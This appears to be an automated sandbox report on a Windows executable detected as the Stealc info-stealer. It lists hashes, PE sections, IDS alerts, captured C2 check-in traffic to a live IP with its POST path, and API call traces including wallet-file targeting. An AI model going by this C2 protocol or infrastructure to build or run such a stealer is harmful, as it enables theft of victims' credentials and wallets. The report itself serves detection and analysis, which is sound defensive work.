	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9473200177433245
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'809'408 bytes
MD5:	c85bd4b2ad207a44d2cf47f0b48d6d09
SHA1:	3d20ea5592b7742bf5a05c166aa3e18c9d187681
SHA256:	294ee8a1545ecad7c74a8994fd7cd56acbdf3694ee80a77ba33e12c0067717d7
SHA512:	6933e4ebf98f4644c608658a5f635e7ad7a17d8d7fb4b189397872729bf5f5e200cf79674710637a40abdfc4beb3599dc6e53852815acfcf435a866acb56ff2e
SSDEEP:	49152:w7LFTRV5omRHDLvgrjo1Q9862KWDRknjzBY0:w7xd4svgPI7oqkZY0
TLSH:	FA8533F41EF0B95ACC1B9EFD8153964980B147BC5F68CF2C55B1A62D883EA87D83246C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa84000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FCA94EE07DAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	b2d336d7bd9d535e12b689ac649ce19b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x291000	0x200	bf9a427ef0d2ac8c2d12b6ca993a6f46	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xisdcata	0x4ef000	0x194000	0x193a00	03cc6eca5bf5492f3690a7798a0ec282	False	0.9949372386961908	data	7.953663128653993	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bazuxvkp	0x683000	0x1000	0x400	5237d2fe741be60f0d49a40042cde6c0	False	0.822265625	data	6.33729039656592	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x684000	0x3000	0x2200	1a41df39d7ac59eec5b62f4b57279ee7	False	0.06767003676470588	DOS executable (COM)	0.7790813178297834	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T01:10:02.998180+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 01:10:01.766046047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 01:10:01.771348953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 01:10:01.771429062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 01:10:01.771707058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 01:10:01.777004004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 01:10:02.702789068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 01:10:02.702877998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 01:10:02.705238104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 01:10:02.710542917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 01:10:02.998061895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 24, 2024 01:10:02.998179913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 24, 2024 01:10:05.721029997 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7400	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 01:10:01.771707058 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 01:10:02.702789068 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 23:10:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 01:10:02.705238104 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 38 37 31 34 44 39 39 42 30 32 31 32 32 35 36 38 36 33 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"8E8714D99B021225686314------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"doma------JJECGCBGDBKJJKEBFBFH--
Oct 24, 2024 01:10:02.998061895 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 23:10:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	19:09:58
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x340000
File size:	1'809'408 bytes
MD5 hash:	C85BD4B2AD207A44D2CF47F0B48D6D09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1705479023.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00359860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00FB2C00), ref: 003598A1
GetProcAddress.KERNEL32(74DD0000,00FB2AC8), ref: 003598BA
GetProcAddress.KERNEL32(74DD0000,00FB2A20), ref: 003598D2
GetProcAddress.KERNEL32(74DD0000,00FB2C18), ref: 003598EA
GetProcAddress.KERNEL32(74DD0000,00FB2A80), ref: 00359903
GetProcAddress.KERNEL32(74DD0000,00FB98D8), ref: 0035991B
GetProcAddress.KERNEL32(74DD0000,00FA5330), ref: 00359933
GetProcAddress.KERNEL32(74DD0000,00FA5510), ref: 0035994C
GetProcAddress.KERNEL32(74DD0000,00FB2B58), ref: 00359964
GetProcAddress.KERNEL32(74DD0000,00FB2C30), ref: 0035997C
GetProcAddress.KERNEL32(74DD0000,00FB2AF8), ref: 00359995
GetProcAddress.KERNEL32(74DD0000,00FB2978), ref: 003599AD
GetProcAddress.KERNEL32(74DD0000,00FA53D0), ref: 003599C5
GetProcAddress.KERNEL32(74DD0000,00FB2B28), ref: 003599DE
GetProcAddress.KERNEL32(74DD0000,00FB2BA0), ref: 003599F6
GetProcAddress.KERNEL32(74DD0000,00FA5470), ref: 00359A0E
GetProcAddress.KERNEL32(74DD0000,00FB2990), ref: 00359A27
GetProcAddress.KERNEL32(74DD0000,00FB2B10), ref: 00359A3F
GetProcAddress.KERNEL32(74DD0000,00FA53F0), ref: 00359A57
GetProcAddress.KERNEL32(74DD0000,00FB2B40), ref: 00359A70
GetProcAddress.KERNEL32(74DD0000,00FA5450), ref: 00359A88
LoadLibraryA.KERNEL32(00FB2B70,?,00356A00), ref: 00359A9A
LoadLibraryA.KERNEL32(00FB2C60,?,00356A00), ref: 00359AAB
LoadLibraryA.KERNEL32(00FB29A8,?,00356A00), ref: 00359ABD
LoadLibraryA.KERNEL32(00FB29C0,?,00356A00), ref: 00359ACF
LoadLibraryA.KERNEL32(00FB29D8,?,00356A00), ref: 00359AE0
GetProcAddress.KERNEL32(75A70000,00FB2A08), ref: 00359B02
GetProcAddress.KERNEL32(75290000,00FB2A38), ref: 00359B23
GetProcAddress.KERNEL32(75290000,00FB2A50), ref: 00359B3B
GetProcAddress.KERNEL32(75BD0000,00FB2A98), ref: 00359B5D
GetProcAddress.KERNEL32(75450000,00FA54F0), ref: 00359B7E
GetProcAddress.KERNEL32(76E90000,00FB98F8), ref: 00359B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00359BB6

Strings

NtQueryInformationProcess, xrefs: 00359BAA

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: ab4b9f6fa76291a090a3267e70030cc16ee200e467ccf80c57449b1f86eeaaea
Instruction ID: e6b83238ca2af01277eb418c40aa074ab618988316c6f535d4d2c7b71294388a
Opcode Fuzzy Hash: ab4b9f6fa76291a090a3267e70030cc16ee200e467ccf80c57449b1f86eeaaea
Instruction Fuzzy Hash: 08A15BB55002409FF348EFA8ED88A6637F9F768701704651BAE45F3225D739A44AFF22

Function 003445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0034460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0034479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0034466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003445F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003445D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003446B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0034477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0034471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0034475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003446C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003446AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003445E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0034473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003446D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003445C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0034462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003445DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0034474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003446CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00344729

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 64b8212c52e7696cdbe1479303a96098566ba1d1030da1bbecb0962fe2976015
Instruction ID: 7e158ea0ac7612999dc559f3a0d327aae8e645cf519f435fcd61821575978b28
Opcode Fuzzy Hash: 64b8212c52e7696cdbe1479303a96098566ba1d1030da1bbecb0962fe2976015
Instruction Fuzzy Hash: CA41F7606CA6047FE626FFA48C42EDD76665F47B08F609266EC02662C4DFB07711CF22

Function 00344880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 003447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00344839
Part of subcall function 003447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00344849

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00344915
StrCmpCA.SHLWAPI(?,00FBE858), ref: 0034493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00344ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00360DDB,00000000,?,?,00000000,?,",00000000,?,00FBE8F8), ref: 00344DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00344E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00344E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00344E49
InternetCloseHandle.WININET(00000000), ref: 00344EAD
InternetCloseHandle.WININET(00000000), ref: 00344EC5
HttpOpenRequestA.WININET(00000000,00FBE808,?,00FBE2E0,00000000,00000000,00400100,00000000), ref: 00344B15

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

InternetCloseHandle.WININET(00000000), ref: 00344ECF

Strings

------, xrefs: 003449BD
------, xrefs: 00344B28
------, xrefs: 00344C69
", xrefs: 00344D33
", xrefs: 00344BF2

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

